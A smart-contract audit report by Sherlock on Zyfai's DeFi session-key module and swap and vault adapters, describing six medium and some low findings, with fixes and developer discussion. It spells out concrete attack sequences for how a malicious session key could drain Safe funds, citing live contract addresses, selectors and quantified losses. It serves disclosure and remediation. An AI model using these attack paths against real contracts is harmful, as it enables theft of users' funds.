SHERLOCK

Security Review For Zyfai



Collaborative Audit Prepared For: **Zyfai**
Lead Security Expert(s): **AV**
ParthMandale
Date Audited: **October 19 - October 22, 2026**

Introduction

Zyfai is a non-custodial yield agent that rebalances users' stablecoin and any assets (WETH, Tokenized Stocks) positions across lending and vault protocols on Ethereum, Base and Arbitrum. Each user holds an ERC-7579 Safe smart account. The Zyfai agent acts through a session key, which can only call whitelisted (target, selector) pairs via the GuardedExecModule and can never move funds outside the Safe.

This audit covers the following changes:

• Adapter: new integrations for Morpho Blue direct markets and Makina machines, keeping the existing guarantee that every deposit, withdrawal and redemption settles back to the calling Safe. • FeedSwapAdapter (new): Chainlink-bounded token swaps for strategy rebalancing, with per-feed staleness checks, L2 sequencer uptime checks, and daily limits on swaps and losses per Safe. • SwapAdapterHardened: hardening of the reward-token swap path, which converts claimed rewards back into the strategy asset. The legacy SwapAdapter is removed. • GuardedExecModule: validation of protocol authorization grants (Morpho setAuthorization, ERC-7540 setOperator), Aave V4 spoke support so that session keys can only grant rights to the Zyfai Adapter.

Fixes for the findings raised during the audit are included in the reviewed commits.

Scope

Repository: ondefy/defi-adapter

Audited Commit: 11ba8d4ff510303830539ccaf22458797bb98d72

Final Commit: c3ac9e17d9aa90c04232d0f566ae711ccdcadc75

Files:

- src/Adapter.sol
- src/FeedSwapAdapter.sol
- src/SwapAdapterHardened.sol

Repository: ondefy/zyfai-executor-module

Audited Commit: 43c466ca9e7cd20bd1e9aad04a53e2ec5ae48159

Final Commit: a29eff18b30eeccf709fa229e5c6abd5e03e8083

Files:

- src/module/GuardedExecModuleUpgradeable.sol

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- Low/Info issues are non-exploitable, informational findings that do not pose a security risk or impact the system's integrity. These issues are typically cosmetic or related to compliance requirements, and are not considered a priority for remediation.

Issues Found

High	Medium	Low/Info
0	6	10

Issues Not Fixed and Not Acknowledged

High	Medium	Low/Info
0	0	0

Issue M-1: # A session key can burn a Safe's entire IPOR Fusion position through an oversized `requestShares` [RESOLVED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/5

Summary

`executeGuardedBatch` forwards `requestShares(uint256)` (`0xfc415e9c`) on the listed IPOR Fusion WithdrawManagers after checking only the `(target, selector)` whitelist. IPOR charges its request fee on the requested amount, never compares that amount with the caller's balance, and takes the fee directly from the caller's vault shares. A malicious session key can therefore request an amount whose fee equals the Safe's entire share balance and move the whole position to the WithdrawManager in a single call.

Vulnerability Detail

The module validates arguments only for `transfer`, `approve`, `setAuthorization/setOperator` and three Aave v4 Spoke selectors. Every other whitelisted call is forwarded unchanged (`GuardedExecModuleUpgradeable.sol:379-399`).

The WithdrawManager's `requestShares` (deployed implementation `0x2f264a8187f085c28218182fd193a887fabbdc06`, shared by all five listed managers) computes the fee from `shares_` and moves it out of the caller's vault shares:

```
function requestShares(uint256 shares_) external {
    if (shares_ == 0) revert WithdrawManagerZeroShares();
    uint256 feeRate = WithdrawManagerStorageLib.getRequestFee();
    if (feeRate > 0) {
        uint256 feeAmount = Math.mulDiv(shares_, feeRate, 1e18);
        WithdrawManagerStorageLib.updateWithdrawRequest(_msgSender(), shares_ -
        ↪  feeAmount);
        IPlasmaVaultBase(getPlasmaVaultAddress()).transferRequestSharesFee(_msgSend
        ↪  er(), address(this), feeAmount);
    } else {
        WithdrawManagerStorageLib.updateWithdrawRequest(_msgSender(), shares_);
    }
}
```

Three properties turn this into a total loss:

- The fee is taken from the Safe, because `_msgSender()` is the Safe when the module executes the batch.
- The fee is a plain share transfer. `transferRequestSharesFee` is delegated to PlasmaVaultBase `0x53dEFd9d61134847B8dE75385891DcD32b3ad5d4`, which calls `_trans`

fer and only reverts when the amount exceeds the balance.

- The shares cannot come back. The manager has no function that sends shares out, and its fee shares are later burned, which hands their value to the vault's other holders.

With `B` the Safe's share balance and `f` the request fee, the attack is one execution:

1. The session key calls `requestShares(floor(B * 1e18 / f))` on the manager.
2. `feeAmount` comes to `B` (or `B - 1` wei), so the Safe's whole position moves to the manager.
3. The Safe's pending request is overwritten with a size it can never redeem, since it no longer holds any shares.

No approval is required, and nothing in the module or the vault limits the requested amount.

On Base, registry `0xd5C2dFD6d34c2bEA1dbec14DE4780d4A9D45ea17` lists `requestShares` on five WithdrawManagers, matching the published session-key list. The manager of "TAU cbETH Dynamic Looping" (`0xC50732c604B1DFE7105Da456C8a88b076f085F15`) has a keeper-updated, non-zero request fee, which was 0.15 % on 2026-10-20 and 1.23 % on 2026-10-22. The other four managers currently charge 0, and `updateRequestFee` can switch the fee on at any time without any change on Zyfai's side.

Impact

- A malicious session key destroys 100 % of a Safe's position in any listed IPOR Fusion vault with a non-zero request fee, in one call per Safe.
- The value is not sent to an outside address. It ends up with the vault's other holders, so monitoring that watches for transfers to unknown addresses does not flag it.
- The only precondition is the hostile session key the module is meant to contain. No Zyfai funds were in IPOR vaults in the snapshot reviewed, but deposits into these vaults remain whitelisted, so any Safe that holds the shares is exposed from that point on.

Code Snippet

```
// GuardedExecModuleUpgradeable.sol:379-399
if (!reg.whitelist(target, selector)) {
    revert TargetSelectorNotWhitelisted(target, selector);
}

if (selector == TRANSFER_SELECTOR) {
    _validateERC20Transfer(target, callData, callDataLength, reg);
} else if (selector == APPROVE_SELECTOR) {
    _validateERC20Approve(target, callData, callDataLength, reg);
```

```
} else if (
    selector == SET_AUTHORIZATION_SELECTOR || selector == SET_OPERATOR_SELECTOR
) {
    _validateAuthorizationGrant(target, callData, callDataLength);
} else if (
    selector == SPOKE_BORROW_SELECTOR || selector == SPOKE_WITHDRAW_SELECTOR
        || selector == SPOKE_SET_COLLATERAL_SELECTOR
) {
    spokeCount = _recordSpoke(spokes, spokeCount, target);
}
// requestShares (0xfc415e9c) reaches _execute with no argument check
```

Tool Used

Manual Review

Recommendation

Capping `shares_` at the Safe's balance is not enough on its own, because repeated `requestShares(balance)` calls still drain about `1 - (1 - f)^N` of the position. Any of the following closes the issue:

- Expose `requestShares` only through a guarded path that caps the request at the Safe's share balance and refuses a new request while the previous one is still pending.
- Reject the call while `getRequestFee()` on the target is non-zero.

Discussion

PaulDeFi

Fixed in https://github.com/ondefy/zyfai-executor-module/pull/10. When the request fee is non-zero, the module requires fee <= 1%, shares <= the Safe's balance, a withdraw window >= 1 day, no pending request, and one request per manager per batch. We'd ask for Medium: the only manager with a non-zero fee (TAU, 0xC507...5F15) belongs to a vault already removed from our strategies, and its requestShares entry has been removed from the Base registry. The four others charge 0, and as the report notes, no Zyfai Safe held shares in these vaults.

Parth0x108

The balance and fee checks prevent an oversized request from consuming the Safe's entire position in one call. Here the one day withdrawal window is not a strict cooldown, if IPOR releases a request and the Safe fully redeems it, another request can pass before 24 hours. Completing that second withdrawal requires another IPOR release. This behavior may be intentional, so we can consider the original issue addressed.

Issue M-2: A session key can burn a Safe's value by cycling deposits and redeems through a fee-charging vault [RESOLVED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/6

Summary

`AUDIT.md:9` limits a session key to moving funds between owner-approved venues, a bounded swap loss and capped Morpho debt. The Adapter's vault wrappers bind the receiver to the Safe but place no limit on how often a Safe can deposit into and redeem from a vault. One listed vault, the IPOR "Base cbETH Loooper", charges a 0.30 % deposit fee and a 0.15 % instant-redeem fee, so a malicious key can deposit and redeem the Safe's balance every block and destroy about 0.45 % of it per cycle, compounding without limit.

Vulnerability Detail

`depositVaultForSelf` and `redeemVaultForSelf` (`Adapter.sol:304-311`, `:319-324`) check only `allowedVaults[vault]` and hard-code the receiver. There is no output floor, no fee check and no budget across calls, unlike the loss bucket and daily cap on the swap adapters.

The Base cbETH Loooper (`0x5900C3b72458F12967DC1bef35b92d271F5cDBc1`, asset WETH) is an EIP-1167 clone of the IPOR `PlasmaVault` implementation `0x7924184350e9d555a576153Fe5fEEEC86270530a`. It is on the published session-key list with WETH `approve`, Loooper `approve`, `depositVaultForSelf` and `redeemVaultForSelf`, and it charges on both legs:

- The deposit fee is 0.30 % (`FeeManager.getDepositFee()` = 3e15). `_deposit` mints the fee shares to the vault's WithdrawManager (`PlasmaVault.sol:1366-1377`).
- The instant-redeem fee is 0.15 % (WithdrawManager `0x3A01F589983865AEd01439Fce96792e0C38A4168`, `getWithdrawFee()` = 1.5e15). `_redeem` pays out `convertToAssets(shares - feeSharesToBurn)` and burns all of the redeemed shares (`PlasmaVault.sol:1283-1290`).

The vault locks a depositor's shares for one second (`REDEMPTION_DELAY_IN_SECONDS` = 1 on access manager `0xf2Ae4eDB2e471Ff56EbA878f62B55B7cB5F77973`), which only pushes the redeem to the next block. A single batch per block can redeem the previous block's shares and deposit the proceeds again, using only listed calls:

1. `Loooper.approve(AdapterProxy, shares)` and `AdapterProxy.redeemVaultForSelf(Looper, shares)`
2. `WETH.approve(AdapterProxy, balance)` and `AdapterProxy.depositVaultForSelf(Looper, balance)`

A full round trip through the live AdapterProxy returns 99.55 % of the input. Thirty consecutive blocks (about one minute) remove 12.6 % of the Safe's WETH, and the loss reaches about 70 % after 9 minutes and about 93 % after 20 minutes. Neither fee leaves the vault. The redeem fee raises the share price immediately and the deposit-fee shares are later burned by the WithdrawManager, so the value goes to the vault's other holders.

The key is not limited to WETH the Safe already holds. It can first redeem other vault positions to USDC and swap them to WETH through the listed `FeedSwapAdapter`.

Impact

- Unbounded destruction of a Safe's principal at about 0.45 % per block, for the cost of one cheap transaction per block.
- Every Safe is reachable, because other positions can be converted to WETH with listed calls.
- A holder of a large Loooper stake recovers a matching share of every cycle's loss.
- The session-key boundary documented in `AUDIT.md:9` does not hold for fee-charging venues.

Code Snippet

```
// Adapter.sol:304-311, 319-324
function depositVaultForSelf(address vault, uint256 assets) external returns
↪  (uint256 shares) {
    if (!_getAdapterStorage().allowedVaults[vault]) revert VaultNotAllowed(vault);

    address asset = IERC4626(vault).asset();
    IERC20(asset).safeTransferFrom(msg.sender, address(this), assets);
    IERC20(asset).forceApprove(vault, assets);
    shares = IERC4626(vault).deposit(assets, msg.sender);
}

function redeemVaultForSelf(address vault, uint256 shares) external returns
↪  (uint256 assets) {
    if (!_getAdapterStorage().allowedVaults[vault]) revert VaultNotAllowed(vault);

    IERC20(vault).safeTransferFrom(msg.sender, address(this), shares);
    assets = IERC4626(vault).redeem(shares, msg.sender, address(this));
}
```

```
// IPOR PlasmaVault.sol:1366-1377 (deposit fee shares minted to the WithdrawManager)
uint256 sharesGross = super.convertToShares(assets_);
uint256 shares = super.deposit(assets_, receiver_);
...
if (withdrawManager != address(0) && sharesGross > shares) {
```

```
    super._mint(withdrawManager, sharesGross - shares);
}

// IPOR PlasmaVault.sol:1283-1290 (instant-redeem fee burned from the redeemed
↪  shares)
uint256 feeSharesToBurn =
↪  WithdrawManager(withdrawManager).canWithdrawFromUnallocated(shares_);
withdrawnAssets = convertToAssets(shares_ - feeSharesToBurn);
...
_burn(owner_, shares_);
```

Tool Used

Manual Review

Recommendation

- Remove fee-charging vaults from the session-key paths.
- Alternatively, bound vault flows in the Adapter, for example with a per-vault maximum round-trip cost (revert when `previewRedeem(previewDeposit(assets)) < assets × (1 − maxFeeBps)`) or a per-Safe loss budget like the one on the swap adapters.

Discussion

PaulDeFi

Valid, fixed in https://github.com/ondefy/defi-adapter/pull/16 with a loss bucket, as on the swap adapters. depositVaultForSelf charges each deposit's round-trip fee (assets − previewRedeem(shares), or convertToAssets on ERC-7540 vaults) to a per-Safe, per-vault budget set by the owner (setVaultLossCapacity) that refills over 24h, and reverts above it. Cycling a Safe through a fee vault now loses at most that budget per day, whatever the Safe's balance. Fee-free vaults (≤ 10 wei rounding) are never charged, a fee vault without a budget rejects deposits, and redeems are not charged so Safes can always exit.

Parth0x108

The deposit budget stops the repeated fee charging cycle, so we can consider the issue is addressed.

Issue M-3: FeedSwapAdapter measures loss against Chainlink, so a session key can take the oracle-to-market gap on every swap with zero booked loss [RESOLVED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/7

Summary

`FeedSwapAdapter` bounds what a hostile session key can lose on principal swaps with an oracle floor and a per-Safe loss bucket ($200 burst, refilling $200 per 24 h). Both legs of a swap are valued at the same pre-swap Chainlink prices, and there is no turnover cap. Whenever Chainlink lags the market inside its normal deviation band, a fill at exactly the Chainlink rate books `lossUsd = 0` while the Safe loses the gap at market value. The listed Nordstern executor runs any call the session key's route names, so the key can send the Safe's input to its own counterparty, pay the Safe the Chainlink amount and keep the difference, on every gap and with the full balance.

Vulnerability Detail

The adapter documents a bounded loss for a hostile key. `AUDIT.md:9` lists "a bounded swap loss" as the worst a session key can do, `AUDIT.md:103` states that "the floor and loss checks bound their effect for priced swaps", and `FeedSwapAdapter.sol:30-32` treats the session key as hostile.

Loss is measured only against Chainlink. `_pricing` (`FeedSwapAdapter.sol:404-418`) reads one Chainlink price per token, and `_accountLoss` values both legs with those same prices (`:427-435`). A fill at the Chainlink rate therefore always books zero, however far Chainlink is from the market.

Chainlink publishes a new answer only when the market moves past the deviation threshold or the heartbeat elapses. The adapter's ETH/USD proxy `0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70` resolves to Chainlink's "ETH / USD Shared SVR" feed, with a 0.15 % deviation threshold and a 1200 s heartbeat. SVR updates go through a private auction route first and fall back to the standard feed only after a delay, so 0.15 % is the normal size of the gap, not a hard cap. A lagging answer still passes the adapter's staleness check (`:489`).

Nothing limits repetition. The contract states "There is no requested-input turnover cap" (`:16`), while the sister `SwapAdapterHardened` charges every priced input to a daily cap (`SwapAdapterHardened.sol:324`).

The value leaves through the listed executor. The adapter requires an owner-listed executor and `firstTokenReceiver` equal to the router or that executor (`:366-369`), but does not bound what the executor does next. The Nordstern executor `0x5692193A40E908d`

`94bdDBC988356cD7f1679EAB4` interprets the route bytes the session key writes, and those bytes can make it perform arbitrary calls. A route can therefore:

1. call `tokenIn.transfer(counterparty, amountIn)`
2. call `counterparty.settle(...)`, which pays the Safe the smallest output for which `_accountLoss` computes zero and keeps the rest

Every adapter check passes: listed executor, allowed pull target, recipient equal to the Safe, priced and allowed tokens, the floor (`:330`) and `lossUsd = 0` (`:331`). The key repeats this whenever the gap favours it, selling WETH while Chainlink sits below the market and buying it back while Chainlink sits above it.

Replaying the 31 days of Base history up to block 52,901,363 confirms the gaps occur naturally. The replay uses the adapter's own feeds (4,997 ETH/USD rounds) against the Uniswap v3 WETH/USDC 0.05 % pool price, lets each swap land three blocks after the gap appears, and skips any swap that a Chainlink update would precede:

- Gaps of 15 bps or more appeared on all 31 days.
- Taking only gaps of at least 15 bps (about 25 swaps per day, median 17 bps each), a Safe loses 76.7 % of its value over the 31 days with $0 booked.
- A cautious key limited to two swaps per day still removes 11.4 % in a month.
- On 2026-10-12, the median day, executing the 25 opportunities against the state of those exact blocks takes $4,129 from a $100,000 Safe with $0 booked and the bucket untouched.
- At $10,000 the same day needs no attacker capital at all. The counterparty sells on the same pool inside each swap and still keeps $255.96 after pool fees.

Impact

- A malicious session key can drain a Safe's principal in Feed-priced tokens (USDC, WETH, cbBTC on Base) by the oracle-to-market gap on every swap, with no limit over time.
- The attacker gains what the Safe loses, and at moderate sizes needs no capital.
- The $200 loss bucket records nothing, so the ”bounded swap loss” promised in `AUDIT.md:9` and `:103` does not hold. The key can obtain principal in these tokens through the whitelisted vault redeems, and Morpho borrowing increases the notional further.

Code Snippet

```
// FeedSwapAdapter.sol:427-435
uint256 inputUsd = Math.mulDiv(actualInput, p.inputPrice, p.inputUnit,
↪  Math.Rounding.Ceil);
uint256 outputUsd = Math.mulDiv(actualOutput, p.outputPrice, p.outputUnit);
```

```
uint256 lossUsd = inputUsd > outputUsd ? inputUsd - outputUsd : 0;
Spend storage s = lossSpend[msg.sender];
uint256 refillNow = _lossRefill();
uint256 used = _used(s, refillNow, lossRefillCheckpoint[msg.sender]);
uint256 remaining = lossCapacityUsd > used ? lossCapacityUsd - used : 0;
if (lossUsd > remaining) revert LossBudgetExceeded(lossUsd, remaining);
```

```
// FeedSwapAdapter.sol:12-16
/// @notice Priced Nordstern swaps with an oracle output floor and a realised-loss
///         bucket per calling Safe. ... There is no requested-input turnover cap.
```

Tool Used

Manual Review

Discussion

Parth0x108

The three-swap limit addresses the repeated-swap path here. The price gap remains, but we can consider that remaining risk acceptable.

Issue M-4: Swap output is measured as the Safe's balance increase, so a route can count the Safe's own pending rewards as output [RESOLVED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/8

Summary

Both swap adapters judge a swap only by how much the Safe's `tokenOut` balance grows while the router runs. They never check where that increase came from. The listed Nordstern executor runs any call in the session key's route, so the route can trigger a payment the Safe was already owed, let it count as swap output, and send the Safe's `tokenIn` to the attacker in the same call. The oracle floor is met with the Safe's own money and `FeedSwapAdapter` books no loss.

Vulnerability Detail

`FeedSwapAdapter` measures the output as the change in the Safe's balance across `_execute` (`FeedSwapAdapter.sol:323-331`), and `SwapAdapterHardened` does the same across the router call (`SwapAdapterHardened.sol:328`, `:341-342`). Any transfer into the Safe during the call is counted as swap output.

The route bytes are written by the session key, and the listed executor performs whatever calls they name. A route can therefore:

1. send the Safe's `tokenIn` to an address the attacker controls
2. call a permissionless payout that pays the Safe, for example Morpho URD `claim(account, reward, claimable, proof)`, which anyone can call and which always pays `account`
3. finish, leaving the Safe's balance increase equal to the reward it was already owed

The adapter sees `received  requiredOut` and accepts the swap. On `FeedSwapAdapter` the output is valued at the oracle price, so `lossUsd = 0` and the loss bucket is untouched.

This works with any pending payout in an allowed output token that a third party can trigger, which means USDC, WETH and cbBTC on both adapters and EURC on `SwapAdapterHardened`. On `SwapAdapterHardened` priced inputs remain inside the $200 daily cap. On `FeedSwapAdapter` nothing limits the amount except the size of the pending payout.

Impact

A malicious session key can effectively steal any reward or incoming payment of an allowed output token that can be triggered on the Safe's behalf. The Safe receives what it was owed anyway and loses an equal value of its own tokens to the attacker. This

breaks the documented invariant that funds only return to the Safe (`AUDIT.md:90`) and the loss bound in `AUDIT.md:103`.

Code Snippet

```
// FeedSwapAdapter.sol:322-331
uint256 inputBefore = IERC20(tokenIn).balanceOf(msg.sender);
uint256 outputBefore = IERC20(tokenOut).balanceOf(msg.sender);
_execute(swapCalldata, tokenIn, amountIn);
...
amountOut = IERC20(tokenOut).balanceOf(msg.sender) - outputBefore;
if (amountOut < p.requiredOut) revert InsufficientOutputToSafe(amountOut,
↪  p.requiredOut);
_accountLoss(actualInput, amountOut, p);
```

```
// SwapAdapterHardened.sol:328, 341-342
uint256 balBefore = IERC20(tokenOut).balanceOf(msg.sender);
...
uint256 received = IERC20(tokenOut).balanceOf(msg.sender) - balBefore;
if (received < requiredOut) revert InsufficientOutputToSafe(received, requiredOut);
```

Tool Used

Manual Review

Recommendation

Have the adapter receive `tokenOut` itself (recipient equal to the adapter), measure only the adapter's own balance change, enforce the floor on that amount, and then forward it to the Safe. Payments made to the Safe during the call then no longer count as swap output, regardless of what the route does.

Discussion

PaulDeFi

Valid, fixed in https://github.com/ondefy/defi-adapter/pull/13. Both swap adapters now receive tokenOut themselves, enforce the floor on the adapter's own balance increase and forward it to the Safe. A payment landing on the Safe during the route no longer counts as output.

Parth0x108

both FeedSwapAdapter and SwapAdapterHardened in the fix measure output received by the adapter, so rewards paid directly to the Safe cannot satisfy the swap output

check. Resolved!

Issue M-5: Unpriced inputs can be sent straight to the attacker, and the executor allow-list does not prevent it [RESOLVED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/9

Summary

For unpriced inputs, `SwapAdapterHardened.swapForSelf` applies no oracle floor and no daily cap. The protocol accepts this on the understanding that a bad route can at worst swap these balances "for nothing, but the output can still only go to the Safe" (`AUDIT.md:104`) and that a session key cannot "point the token pull at an address other than the router or that executor" (`SWAP_ADAPTERS.md:12`). Both assumptions fail, because the only listed executor runs any call the route names. A route can make it transfer the Safe's whole unpriced balance to the attacker, and the swap still succeeds with zero output.

Vulnerability Detail

The unpriced lane skips the floor and the cap (`SwapAdapterHardened.sol:318-326`). `requiredOut` stays 0 and `_accrueDailyCap` is never called.

The executor check (`:385-388`) only forces the tokens to go first to the listed executor. It was added for the drain described in the repository's own regression test, "an attacker executor named as firstTokenReceiver drained unpriced EXTRA" (`test/SwapAdapterExecutorFork.t.sol:81`). It does not constrain the route bytes the executor runs afterwards.

The listed Nordstern executor `0x5692193A40E908d94bdDBC988356cD7f1679EAB4` interprets those route bytes with no owner, no caller check and no target allow-list. A route can make it call `tokenIn.transfer(attacker, amountIn)`, so the Safe's balance goes from the adapter to the router, then to the executor and on to the attacker. Back in the adapter, `received (0) >= requiredOut (0)` passes (`:341-342`) and the swap completes. Priced inputs are not affected, because the same route reverts at the floor.

The published allowlist gives the key everything it needs in one batch:

1. claim rewards into the Safe through Merkl, Moonwell, Morpho URD or Fluid
2. approve the reward token to the adapter, which is a listed target (WELL, MORPHO, UP, EXTRA and SEAM on Base, PENDLE on Ethereum)
3. call `swapForSelf` with the transfer route

Both live Hardened adapters (Base `0xe647…`, Ethereum `0xce3527…`) are whitelisted for `swapForSelf` and predate the executor check, so there the key can even name itself directly. The audited code adds the check, but as described above it does not close the path.

Impact

- A malicious session key can steal 100 % of every unpriced reward a Safe earns, on every claim, with no cap and nothing recorded.
- The documented boundary that a bad route can only lose these balances inside the Safe does not hold. The value goes to the attacker.
- The drain the executor check was added to stop is still possible through the listed executor, and every token the owner lists as unpriced has the same exposure.

Code Snippet

```
// SwapAdapterHardened.sol:318-326
// Priced inputs: enforce the USD daily cap AND the oracle output floor.
// Unpriced inputs: no oracle -> no cap, no floor. recipient, the
// firstTokenReceiver pull check, and tokenOut allow-list still apply.
uint256 requiredOut = 0;
if (!inCfg.noFeed) {
    if (feeds[tokenOut].aggregator == address(0)) revert NoFeed(tokenOut);
    _accrueDailyCap(_usdValueIn(tokenIn, amountIn));
    requiredOut = _requiredOut(tokenIn, tokenOut, amountIn);
}
```

```
// SwapAdapterHardened.sol:385-388
if (!allowedExecutor[executor]) revert ExecutorNotAllowed(executor);
if (firstTokenReceiver != aggregatorRouter && firstTokenReceiver != executor) {
    revert InvalidFirstTokenReceiver(aggregatorRouter, firstTokenReceiver);
}
```

Tool Used

Manual Review

Recommendation

- Do not rely on the executor allow-list to bound where `tokenIn` goes. Any of the following closes the gap:
  - require the route to be signed by a Zyfai key separate from the session key
  - have the adapter receive `tokenOut` itself, enforce the output and forward it
  - require a backend-signed `minAmountOut` for unpriced inputs
- Bound the unpriced lane on-chain with a per-token unit cap per Safe per day and a non-zero minimum output.

Discussion

PaulDeFi

This was a documented, accepted risk: AUDIT.md states that owner-listed unpriced reward tokens have no loss bound, and these are low-value reward tokens. Whether the balance is swapped for nothing or sent elsewhere, the Safe's loss is the same, so we'd ask for Low. We fixed it anyway in https://github.com/ondefy/defi-adapter/pull/15: unpriced inputs now need an owner-set USD price, which sets the output floor and counts against the daily spend cap.

Parth0x108

The cap and minimum output prevent the original unlimited, zero-output drain. The minimum must be configured appropriately for the cap, so we can consider this as fixed at the code level.

Issue M-6: Comet `withdraw` doubles as an uncapped borrow for the session key [RESOLVED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/11

Summary

The allowlist exposes Comet's `supply(address,uint256)` and `withdraw(address,uint256)` on six Compound V3 markets for USDC lending. In Comet the same `withdraw` is also the borrow function, so a session key can supply the Safe's WETH, cbETH or cbBTC as collateral and borrow USDC up to Comet's maximum, using only whitelisted calls. Every other debt path in the system is capped or health-checked, and Comet is the one venue where key-created debt has no bound.

Vulnerability Detail

Per Compound's documentation, "Withdraw is also used to borrow the base asset from the protocol if the account has supplied sufficient collateral". The module forwards these Comet calls on the whitelist alone (`GuardedExecModuleUpgradeable.sol:379-399`). Collateral is supplied with the same listed `supply(address,uint256)` selector after approving the collateral token to Comet, which passes because Comet is a whitelisted target.

The rest of the system bounds debt explicitly:

- Morpho borrowing only goes through `Adapter.borrowMorphoForSelf`, capped by an owner-set `maxBorrowLtv` below the liquidation LTV and re-checked after each borrow and collateral withdrawal (`Adapter.sol:249-251`, `:458-468`, `:507-510`).
- Aave v4 Spoke borrows and withdrawals must leave a health factor of at least 1.5, precisely so that "a session key could [not] borrow to the edge and liquidate the smart account" (`GuardedExecModuleUpgradeable.sol:63-69`, `:574-585`).
- Aave v3 and the vaults have no borrow path at all.

On Base cUSDCv3 the borrow, liquidation and penalty factors are 0.85 / 0.90 / 0.95 for WETH, 0.80 / 0.85 / 0.90 for cbETH and 0.80 / 0.85 / 0.95 for cbBTC. A position borrowed to the limit is therefore only about 5.6 to 5.9 % away from liquidation. After an ordinary price move anyone can call `absorb`, which takes all the collateral and credits it back minus the penalty, 5 % for WETH and cbBTC and 10 % for cbETH. On Base the key can also loop the borrowed USDC back into collateral through `FeedSwapAdapter`, up to about 6.7× for WETH, so the same move costs roughly 30 to 48 % of the Safe's equity after three to seven loops rather than just the penalty. The session key is also the off-chain deleveraging monitor, so nobody unwinds the position in time.

Impact

A malicious session key can open maximum Comet debt against a Safe's collateral and leave it to be absorbed after a normal market move, losing 5 to 10 % of the collateral unlevered and a large share of the Safe's equity when looped. This also contradicts `AUDIT.md:9`, which presents owner-capped Morpho debt as the only debt a session key can open.

Code Snippet

```
// Adapter.sol:458-468 (Morpho debt is capped)
function borrowMorphoForSelf(IMorpho.MarketParams calldata marketParams, uint256
↪  assets)
    external
    returns (uint256 assetsBorrowed, uint256 sharesBorrowed)
{
    bytes32 id = morphoMarketId(marketParams);
    uint256 maxLtv = _getAdapterStorage().maxBorrowLtv[id];
    if (maxLtv == 0) revert MarketNotAllowed(id);

    (assetsBorrowed, sharesBorrowed) = IMorpho(MORPHO).borrow(marketParams, assets,
    ↪  0, msg.sender, msg.sender);
    _requireMorphoLtv(marketParams, id, maxLtv);
}
```

```
// GuardedExecModuleUpgradeable.sol:379-399 (Comet withdraw has no branch and is
↪  forwarded unchecked)
if (!reg.whitelist(target, selector)) {
    revert TargetSelectorNotWhitelisted(target, selector);
}
if (selector == TRANSFER_SELECTOR) { ... }
else if (selector == APPROVE_SELECTOR) { ... }
else if (selector == SET_AUTHORIZATION_SELECTOR || selector ==
↪  SET_OPERATOR_SELECTOR) { ... }
else if (selector == SPOKE_BORROW_SELECTOR || selector == SPOKE_WITHDRAW_SELECTOR
    || selector == SPOKE_SET_COLLATERAL_SELECTOR) { ... }
```

Tool Used

Manual Review

Recommendation

- Route Comet through Adapter wrappers that only supply the base asset and only withdraw up to the Safe's supplied balance.

- Alternatively, record Comet targets in the module like the Aave v4 Spokes and require `borrowBalanceOf(msg.sender) == 0` after the batch.
- Do not list collateral supply for Comet unless a borrow cap equivalent to `maxBorrowLtv` is enforced.

Discussion

PaulDeFi

Valid, fixed in https://github.com/ondefy/zyfai-executor-module/pull/12: the module records every target called with Comet withdraw(address,uint256) and reverts the batch if borrowBalanceOf(Safe) is non-zero after execution.

Parth0x108

post-batch debt check prevents a guarded Comet withdraw from leaving the Safe with a loan. Can be considered fixed.

Issue L-1: `renounceOwnership` is not disabled, so pausing, delisting and upgrades can be lost permanently [RESOLVED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/10

Summary

`GuardedExecModuleUpgradeable` inherits `Ownable2StepUpgradeable` and `TargetRegistry` inherits `Ownable2Step`, and neither overrides `renounceOwnership`. One call, by mistake or from a compromised owner key, permanently removes every owner-only control, including the emergency pause, registry replacement, delisting and upgrades.

Vulnerability Detail

The module's emergency and recovery functions are all `onlyOwner`, namely `pause` and `unpause` (`GuardedExecModuleUpgradeable.sol:299-309`), `updateRegistry` (`:421`) and `_authorizeUpgrade` (`:440`). The registry's `pause`, `unpause`, `addToWhitelist` and `removeFromWhitelist` are `onlyOwner` as well (`TargetRegistry.sol:136-186`), and `removeFromWhitelist` also requires the registry to be unpaused.

After `renounceOwnership` the owner is `address(0)` and none of these functions can be called again. A dangerous registry entry could then never be removed, a vulnerable module implementation could never be upgraded, and the module could never be paused during an incident. If the registry happens to be paused when ownership is renounced, its whitelist is frozen permanently.

Impact

The owner loses every tool for responding to an incident or a newly found bug, and the loss cannot be undone.

Code Snippet

```
// GuardedExecModuleUpgradeable.sol:299-309, 421, 440
function pause() external onlyOwner { _pause(); }
function unpause() external onlyOwner { _unpause(); }
function updateRegistry(address newRegistry) external onlyOwner { ... }
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {
↪  }
```

Tool Used

Manual Review

Recommendation

Override `renounceOwnership` in both `GuardedExecModuleUpgradeable` and `TargetRegistry` so that it always reverts.

Discussion

PaulDeFi

Fixed for the module in https://github.com/ondefy/zyfai-executor-module/pull/11: renounceOwnership reverts with RenounceOwnershipDisabled, so pause, registry migration and upgrades cannot be lost. TargetRegistry is non-upgradeable and owned by our multisig; renouncing it would be a deliberate multisig action, and redeploying the production registries (100+ entries) to remove a function the owner would never call is not justified. We accept this as an owner-trust assumption.

Parth0x108

fixed.

Issue L-2: Aave v4 health-factor guard blocks actions Aave itself treats as risk-free [RESOLVED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/12

Summary

The module records every Aave v4 Spoke `withdraw` and every `setUsingAsCollateral` call and requires the Safe's health factor to be at least 1.5 after the batch, whatever the reserve or the direction of the change. Aave v4 only validates withdrawals of collateral reserves and only validates `setUsingAsCollateral` when collateral is being disabled. Once a price move puts the Safe between 1.0 and 1.5, the automation can no longer take de-risking steps that cannot lower the health factor.

Vulnerability Detail

